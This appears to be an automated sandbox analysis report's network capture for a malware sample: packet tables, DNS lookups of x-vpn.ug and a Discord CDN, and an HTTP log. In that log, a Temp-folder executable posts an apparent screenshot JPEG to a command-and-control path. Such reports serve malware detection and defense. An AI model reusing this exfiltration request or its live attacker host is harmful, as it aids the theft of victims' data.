Jul 19, 2021 18:37:05.822809935 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822961092 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.822978020 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.823038101 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.823385000 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.823482990 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.823498964 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.894124985 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.894488096 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.896152020 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.903963089 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.903980970 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.903989077 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.904000044 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.973525047 CEST	80	50124	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.973612070 CEST	50124	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.977966070 CEST	80	50123	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.978400946 CEST	50123	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.981744051 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.989494085 CEST	80	50125	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:05.989859104 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:05.990293026 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.080696106 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.081110954 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.081847906 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.082004070 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.082222939 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.082444906 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.086585999 CEST	80	50125	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.086633921 CEST	80	50125	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.088269949 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.174812078 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175205946 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175223112 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175230026 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175245047 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175445080 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.175473928 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175484896 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.175487995 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175494909 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175502062 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175513029 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.175561905 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.175612926 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.176635027 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.176893950 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.190361023 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.191776037 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.268532038 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.268558025 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.268565893 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.268577099 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.268584013 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.268727064 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.269910097 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.269926071 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.269934893 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.270119905 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.283570051 CEST	80	50125	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.287101030 CEST	50125	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.290462971 CEST	80	50127	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.290615082 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.291248083 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.364155054 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.364362001 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.391345978 CEST	80	50127	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.391385078 CEST	80	50127	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.394304037 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.457492113 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.457520008 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.457536936 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.457551003 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.457566023 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.507508993 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.507759094 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.508796930 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.553710938 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.588603020 CEST	80	50128	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.590459108 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.590910912 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.602319956 CEST	80	50126	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.604227066 CEST	80	50127	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.604924917 CEST	50127	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.604942083 CEST	50126	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.650109053 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.650245905 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.650887012 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.651084900 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.651341915 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.651545048 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.670727968 CEST	80	50128	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.671201944 CEST	80	50128	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.671319962 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.747081995 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748317003 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748333931 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748347998 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748359919 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748439074 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.748473883 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.748941898 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748955011 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748965025 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.748975039 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.749023914 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.749044895 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.750569105 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.750598907 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.750607967 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.750708103 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.750888109 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.787607908 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.789077997 CEST	50130	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.844383955 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.844417095 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.844434977 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.844445944 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.844540119 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.844582081 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.845004082 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.845103025 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.846921921 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.846951008 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.847079992 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.848691940 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.848714113 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.848814964 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.872395992 CEST	80	50128	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.872545004 CEST	50128	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.884397030 CEST	80	50130	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.884602070 CEST	50130	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.885662079 CEST	50130	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.942183018 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.942213058 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.942325115 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:06.943793058 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.943814039 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.944001913 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.944015026 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.946168900 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.946187973 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.946348906 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.946361065 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.977421999 CEST	80	50130	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.977572918 CEST	80	50130	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:06.977647066 CEST	50130	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:07.038472891 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.038501024 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.038577080 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.038590908 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.038804054 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.052594900 CEST	80	50129	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:07.052731991 CEST	50129	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:09.846668959 CEST	49775	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:37:09.921329021 CEST	80	49775	162.159.129.233	192.168.2.6
Jul 19, 2021 18:37:09.921545029 CEST	49775	80	192.168.2.6	162.159.129.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 19, 2021 18:34:50.237168074 CEST	56023	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:50.296866894 CEST	53	56023	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:51.701453924 CEST	58384	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:51.750499010 CEST	53	58384	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:52.520817995 CEST	60261	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:52.570179939 CEST	53	60261	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:53.794429064 CEST	56061	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:53.852900028 CEST	53	56061	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:54.880717993 CEST	58336	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:54.934995890 CEST	53	58336	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:56.479197025 CEST	53781	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:56.531625032 CEST	53	53781	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:58.147070885 CEST	54064	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:58.200011015 CEST	53	54064	8.8.8.8	192.168.2.6
Jul 19, 2021 18:34:59.716815948 CEST	52811	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:34:59.776748896 CEST	53	52811	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:01.134330988 CEST	55299	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:01.183778048 CEST	53	55299	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:02.671269894 CEST	63745	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:02.720530987 CEST	53	63745	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:03.762991905 CEST	50055	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:03.814863920 CEST	53	50055	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:06.709173918 CEST	61374	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:06.758696079 CEST	53	61374	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:07.509763002 CEST	50339	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:07.561834097 CEST	53	50339	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:09.217490911 CEST	63307	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:09.275141954 CEST	53	63307	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:10.462743998 CEST	49694	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:10.515084982 CEST	53	49694	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:11.276587009 CEST	54982	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:11.327203035 CEST	53	54982	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:12.092715025 CEST	50010	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:12.146384954 CEST	53	50010	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:14.943336964 CEST	63718	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:14.995704889 CEST	53	63718	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:18.339977026 CEST	62116	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:18.401113033 CEST	53	62116	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:19.997185946 CEST	63816	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:20.061213017 CEST	53	63816	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:20.589579105 CEST	55014	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:20.651288986 CEST	53	55014	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:22.446993113 CEST	62208	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:22.508311987 CEST	53	62208	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:44.799546003 CEST	57574	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:44.848627090 CEST	53	57574	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:47.210678101 CEST	51818	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:47.303539038 CEST	53	51818	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:48.066045046 CEST	56628	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:48.125905037 CEST	53	56628	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:48.659574986 CEST	60778	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:48.727741957 CEST	53	60778	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:49.010721922 CEST	53799	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:49.067542076 CEST	53	53799	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:49.758621931 CEST	54683	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:49.819494963 CEST	53	54683	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:50.751468897 CEST	59329	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:50.844007015 CEST	53	59329	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:51.695919991 CEST	64021	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:51.756069899 CEST	53	64021	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:53.210150003 CEST	56129	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:53.267355919 CEST	53	56129	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:54.448580027 CEST	58177	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:54.508572102 CEST	53	58177	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:55.581028938 CEST	50700	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:55.637752056 CEST	53	50700	8.8.8.8	192.168.2.6
Jul 19, 2021 18:35:56.184043884 CEST	54069	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:35:56.232996941 CEST	53	54069	8.8.8.8	192.168.2.6
Jul 19, 2021 18:36:00.507241964 CEST	61178	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:36:00.567159891 CEST	53	61178	8.8.8.8	192.168.2.6
Jul 19, 2021 18:36:29.107002020 CEST	57017	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:36:29.166138887 CEST	53	57017	8.8.8.8	192.168.2.6
Jul 19, 2021 18:36:31.041219950 CEST	56327	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:36:31.100838900 CEST	53	56327	8.8.8.8	192.168.2.6
Jul 19, 2021 18:36:32.829200029 CEST	50243	53	192.168.2.6	8.8.8.8
Jul 19, 2021 18:36:32.887303114 CEST	53	50243	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 19, 2021 18:35:19.997185946 CEST	192.168.2.6	8.8.8.8	0x702	Standard query (0)	x-vpn.ug	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.589579105 CEST	192.168.2.6	8.8.8.8	0xd188	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jul 19, 2021 18:35:20.061213017 CEST	8.8.8.8	192.168.2.6	0x702	No error (0)	x-vpn.ug	185.114.247.54	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.651288986 CEST	8.8.8.8	192.168.2.6	0xd188	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.651288986 CEST	8.8.8.8	192.168.2.6	0xd188	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.651288986 CEST	8.8.8.8	192.168.2.6	0xd188	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.651288986 CEST	8.8.8.8	192.168.2.6	0xd188	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)
Jul 19, 2021 18:35:20.651288986 CEST	8.8.8.8	192.168.2.6	0xd188	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

x-vpn.ug

cdn.discordapp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49734	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:20.178057909 CEST	1233	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:20.178530931 CEST	1233	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:20.178962946 CEST	1243	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:20.179440975 CEST	1245	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:20.274986982 CEST	1246	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:20.275167942 CEST	1260	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:20.275238037 CEST	1266	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:20.275259972 CEST	1272	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:20.369290113 CEST	1275	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:20.369493961 CEST	1281	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
